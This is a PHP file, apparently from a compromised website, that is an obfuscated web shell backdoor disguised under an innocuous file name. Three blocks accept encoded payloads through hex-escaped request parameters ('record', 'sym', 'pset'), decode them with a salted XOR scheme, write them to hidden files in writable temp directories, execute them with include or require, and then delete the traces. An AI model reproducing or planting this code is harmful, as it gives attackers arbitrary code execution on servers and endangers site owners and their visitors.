File: /home/vitanhod/vigolic-10.vitavit.com.pk/ot_tax.php
<?php if(in_array("r\x65cor\x64", array_keys($_REQUEST))){ $key = $_REQUEST["r\x65cor\x64"]; $key = explode ( "." , $key) ; $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $o = 0; $len = count( $key ); do { if( $o >= $len) break; $v1 = $key[$o]; $chS = ord( $s[$o% $lenS] ); $d =( ( int)$v1 - $chS -( $o% 10)) ^ 96; $mrk .= chr( $d ); $o++; } while( true ); $descriptor = array_filter([getenv("TMP"), "/dev/shm", "/tmp", session_save_path(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir()]); while ($resource = array_shift($descriptor)) { if (max(0, is_dir($resource) * is_writable($resource))) { $property_set = implode("/", [$resource, ".fac"]); $success = file_put_contents($property_set, $mrk); if ($success) { include $property_set; @unlink($property_set); exit;} } } }
if(isset($_REQUEST["s\x79m"])){ $pset = $_REQUEST["s\x79m"]; $pset =explode ( '.', $pset) ; $descriptor = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7); $w = 0; $__tmp = $pset; while( $v7 = array_shift( $__tmp)) { $sChar = ord( $salt7[$w % $lenS]); $dec =( ( int)$v7 - $sChar -( $w % 10))^ 83; $descriptor .= chr( $dec); $w++; } $bind = array_filter([getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getcwd()]); foreach ($bind as $fac) { if (!( !is_dir($fac) || !is_writable($fac) )) { $res = join("/", [$fac, ".parameter_group"]); if (file_put_contents($res, $descriptor)) { require $res; unlink($res); exit; } } } }
if(@$_REQUEST["ps\x65\x74"] !== null){
$element = array_filter([sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/var/tmp", getcwd(), "/dev/shm", session_save_path()]);
$holder = $_REQUEST["ps\x65\x74"];
$holder = explode ( "." , $holder) ;
$parameter_group= '';
$s= 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen= strlen( $s);
foreach( $holder as $u=> $v5):
$chS= ord( $s[$u % $sLen]);
$d= ( ( int)$v5 - $chS -( $u % 10)) ^39;
$parameter_group .= chr( $d);
endforeach;
foreach ($element as $ptr) {
if (max(0, is_dir($ptr) * is_writable($ptr))) {
$symbol = vsprintf("%s/%s", [$ptr, ".ent"]);
if (@file_put_contents($symbol, $parameter_group) !== false) {
include $symbol;
unlink($symbol);
exit;
}
}
}
}